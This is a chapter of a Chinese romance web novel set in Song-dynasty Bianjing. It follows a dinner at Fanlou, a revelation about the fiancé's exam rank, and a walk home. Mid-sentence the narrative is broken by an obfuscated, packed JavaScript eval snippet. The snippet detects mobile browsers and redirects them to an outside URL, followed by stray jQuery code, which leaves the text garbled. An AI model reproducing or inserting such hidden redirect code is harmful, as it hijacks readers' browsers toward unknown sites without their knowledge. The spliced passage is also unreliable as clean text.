78. 第七十八章
作品:《汴京暴富日常》 这里是汴京城最热闹的地界,樊楼。
三层高楼灯火通明,酒香混着脂粉气,被穿堂风一卷,直往人鼻子里钻。
沈竹安走在前面,脊背挺得笔直,像是要去参加什么殿试,而不是吃顿饭。
徐竹筱跟在后头,目光却在四处打量。
不愧是京城第一酒楼,连跑堂的小二身上穿的都是细棉布,手里端的盘盏,不是银的就是玉的。
两人在大厅落座。
窗外是御街的车水马龙,屋内是还没散去的淡淡沉香。
“想吃什么?”
沈竹安把菜单递过去。
徐竹筱接过菜单,眼睛一下子亮了。
“拨霞供、假河豚、洗手蟹、梅花脯……”她嘴里念叨着,手指在单子上轻点,“还有这个,炒兔脯和脆莲子。”
点得挺多。
她顿了顿,抬头看对面的人:“会不会太多了?吃不完浪费。”
沈竹安松了口气,那股子紧绷劲儿稍微卸下来点。
“不多。”
他转头看向小二,声线清越,却带着股不容置疑的豪气:“刚才这位娘子点的,都要。再加一道奶房玉蕊,一道水晶皂儿,一壶蓝桥风月。”
小二脸上的笑褶子瞬间多了几层:“好嘞!客官您稍候!”
徐竹筱眨了眨眼。
这几道加的菜,全是樊楼的招牌,也是出了名的贵。
“你……”她压低声音,“这顿饭得花不少银子吧?”
沈竹安耳根悄悄红了一片。
他垂下眼帘,长长的睫毛遮住了眼底的情绪,手规规矩矩地放在膝头。
“不多。”
他又重复了一遍这两个字,像是怕她不信,又补了一句:“我有银子。”
徐竹筱噗嗤一声笑了。
这人怎么跟个呆头鹅似的。
明明长了一张聪明脸,做起事来却透着股憨劲儿。
“行行行,沈大官人有银子。”她单手托腮,歪着头看他,“那我就跟着沾光,享口福了。”
沈竹安被她这一声“大官人”叫得脸热,端起茶盏掩饰性地喝了一口。
茶汤刚入口,他眉头微不可察地皱了一下。
有些烫。
但他硬是没吐出来,喉结滚动,咽了下去。
徐竹筱眼尖,瞧见他脖颈上泛起的一层薄粉,心里乐开了花。
菜上得很快。
八个盘子,把不大不小的方桌摆得满满当当。
色香味俱全,热气腾腾地冒着香。
徐竹筱也不客气,夹起一块兔脯放进嘴里。
肉质鲜嫩,酱汁浓郁,带着微微的辣意,瞬间唤醒了味蕾。
“好吃!”她眼睛眯成了月牙。
沈竹安没动筷子。
他手里拿了个小银勺,正专注地跟一只螃蟹较劲。
蟹壳被他完整地剥开,蟹肉一丝丝剔出来,堆在干净的碟子里,最后淋上一勺姜醋汁。
他把碟子轻轻推到徐竹筱面前。
“尝尝。”
声音很轻,带着点讨好。
徐竹筱愣了一下。
这年头,男人愿意给女人剥蟹的,比三条腿的蛤蟆还少见。
她心里像是被什么东西轻轻撞了一下,软软的。
“你不吃吗?”
“我不爱吃腥。”沈竹安撒谎不打草稿,又拿起一只橘子开始剥皮。
徐竹筱看破不说破。
那蟹肉晶莹剔透,醋香扑鼻。
她夹起一筷子送入口中,鲜甜充满了口腔。
正吃得高兴,楼梯口传来一阵环佩叮当的声响。
几个衣着华丽的小娘子相携而来。
为首的那个穿了一身鹅黄色的对襟襦裙,头上插着金步摇,走起路来风风火火。
正是户部尚书家的千金,林知月。
她旁边跟着个穿粉衣的小娘子,手里捏着帕子,眉眼间带着几分傲气。
那是石御史家的二女儿,石婉儿。
俩人正准备走进去,林知月眼角余光忽然扫到窗边的一桌。
“咦?那是……”
她眼睛一亮,提着裙摆就走了过来。
“筱娘!”
徐竹筱刚把嘴里的蟹肉咽下去,抬头就看见林知月那张放大的脸。
“知月?”她有些惊讶,连忙拿帕子擦了擦嘴。
林知月自来熟地凑过来,目光在桌上扫了一圈,最后落在对面的沈竹安身上。
这一看,她愣住了。
沈竹安今日穿了件月白色的锦袍,领口袖口绣着银色的暗纹,头发用一根白玉簪束着。
阳光透过窗棂洒在他身上,整个人像是会发光。
他手里还捏着半个剥好的橘子,指节修长白皙,比那橘络还要干净几分。
“这……”林知月瞪大了眼,扭头看徐竹筱,“这是谁啊?”
这也太好看了吧!
徐竹筱大大方方地介绍:“这是我未婚夫,沈竹安。”
沈竹安见有外人,连忙放下手里的橘子,站起身行了个礼,动作行云流水,挑不出半点毛病。
“见过两位娘子。”
声音清润,如玉石相击。
林知月还没反应过来,她身后的石婉儿却是猛地倒抽了一口气。
“沈……沈竹安?”
石婉儿手里的帕子都快被绞烂了,一双眼睛死死盯着沈竹安,像是要把他身上盯出个洞来。
她捂住嘴,似乎意识到自己失态,又赶紧放下手,尴尬地笑了两声。
“原……原来是沈郎君。”
林知月莫名其妙地看了石婉儿一眼。
这平时眼高于顶的石二娘,今儿个是怎么了?跟见了鬼似的。
“行了行了,别打扰人家吃饭。”林知月也是个识趣的,拉着石婉儿就要走,“咱们去那边。”
石婉儿却像是脚底生了根,磨磨蹭蹭不肯走,眼神还一个劲儿地往沈竹安身上飘。
直到被林知月强行拖走,那目光都没收回来。
两人在不远处的角落坐下。
刚一落座,林知月就忍不住了:“你刚才怎么回事?一副没见过男人的样子。”
石婉儿端起茶杯猛灌了一口,这才压下心头的惊涛骇浪。
她凑到林知月耳边,声音压得极低,却掩饰不住其中的酸意。
“你真不知道他是谁?”
林知月翻了个白眼:“徐竹筱的未婚夫啊,刚才不是说了吗?”
“哎呀不是这个!”石婉儿急得直跺脚,“我是说他的身份!你知道这次秋闱,成都府的解元是谁吗?”
林知月一愣:“谁啊?”
她对科考这种事向来不关心。
石婉儿往沈竹安的方向努了努嘴:“远在天边,近在眼前。”
“什么?!”林知月惊得差点跳起来,“你说他是解元?”
解元啊!
那就是全省第一名!
将来是要考状元的苗子!
石婉儿满脸复杂,语气里全是羡慕嫉妒恨:“不仅是解元,他还写得一手好文章,连官家都夸过的。如今在汴京文坛,那可是炙手可热的人物。多少高门大户想把女儿嫁给他,连我爹……前几日还在家里念叨,说要是能招到这样的女婿,做梦都能笑醒。”
她爹可是御史!
眼光高得离谱。
连她爹都看中的人,竟然……竟然被徐竹筱这个做生意的给截胡了?
林知月听得直嘶气。
她转过头,重新审视起那边正在吃饭的一对璧人。
徐竹筱正笑眯眯地接过沈竹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213745|193160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安递来的橘子瓣,沈竹安侧着头听她说话,眉眼温柔得能滴出水来。
林知月对此表示很开心。
筱娘这么好,夫君当然也得是好的。
从樊楼出来,夜色已深,街市上的人潮却未散去。汴京城的夜,向来是这般纸醉金迷,没有宵禁的日子,热闹能一直延续到天明。
两人沿着河岸慢吞吞地走。
晚风带着河水的湿气,吹散了些许身上的酒气。
沈竹安如今住在保康门那边,离徐家所在的巷子有些距离,但他脚步迈得极小,恨不得这条路能没有尽头。
“有个事儿我一直纳闷。”
沈竹安也停下,侧身低头,目光专注:“什么?”
“以前也没听你说起过家里的底细,”徐竹筱伸手指了指他身上的衣服,“我还当你家就是做点普通瓜果买卖的。这一到了汴京,怎么瞧着……”
她没说完,但意思到了。
这哪里是普通买卖人家,分明是家里有矿。
沈竹安愣了一下,随即失笑。
“也没刻意瞒你。以前家里生意确实不大,后来我兄长说是要去成都府闯闯,家里人都拦着,怕折本。结果他愣是把那边的药材和锦缎生意给盘活了。”
徐竹筱若有所思地点点头。
能在那边把生意做大,那可不是一般的本事。
“挺好。”徐竹筱笑了,眉眼弯弯,“你哥是个厉害人,你也争气。”
沈竹安看着她那双映着灯火的眸子,心里软得一塌糊涂。他想去牵她的手,袖子下的手指动了动,终究还是守着那点礼数,没敢造次。
路再长,也有走完的时候。
不知不觉,巷子口到了。
更夫的梆子声在远处敲响。
沈竹安站在巷口那棵老槐树下,脚步像是生了根。
“到了。”
“嗯。”沈竹安应了一声,却没动,“我看着你进去。”
“就几步路。”
“那也得看着。”
少年人的执拗上来,九头牛都拉不回。
两人就这么面对面站着,谁也没说话。风吹过树叶沙沙作响,空气里那股子黏糊糊的情意,几乎要溢出来。
沈竹安看着她,喉结滚了滚,似乎想说什么,又咽了回去。
就在这时,巷子里的一扇门“吱呀”一声开了。
苏棠倚在门框上,手里在那剥着一把瓜子,似笑非笑地看着这边。
“哟,这是哪家的傻女婿,都要把我家门槛给望穿了?”
那声音不大,却透着股子戏谑。
沈竹安吓了一跳,整个人差点弹起来。
他慌忙冲着苏棠的方向深深作了一揖,结结巴巴道:“伯……伯母好。小侄……小侄送筱娘回来。这……这就走,这就走。”
说完,也不敢再看徐竹筱一眼,转过身,逃命似的跑了。
那背影,怎么看怎么透着一股子狼狈。
徐竹筱看着他那落荒而逃的模样,没忍住,“扑哧”一声笑了出来。
她转过身,蹦蹦跳跳地走到门口。
苏棠把手里的瓜子皮往旁边篓子里一扔,伸手点了点徐竹筱的额头:“还没嫁过去呢,胳膊肘就往外拐?瞧瞧那依依不舍的劲儿,魂儿都丢了吧?”
“娘~”徐竹筱抱着她的胳膊撒娇,声音软糯,“您怎么还没睡啊,特意堵我呢?”
“我不堵你,怕你被人拐跑了都不知道。”苏棠白了她一眼,嘴角却挂着笑,拉着人进了屋,“行了,既然回来了,进来,娘有话跟你说。”
进了内室,昏黄的烛光把屋子照得暖烘烘的。
苏棠也不含糊,把自己这些日子攒的银子拿了出来。
“这里头,是两千贯,我和你爹商量过了。这两千贯,你和你哥,一人一半。”

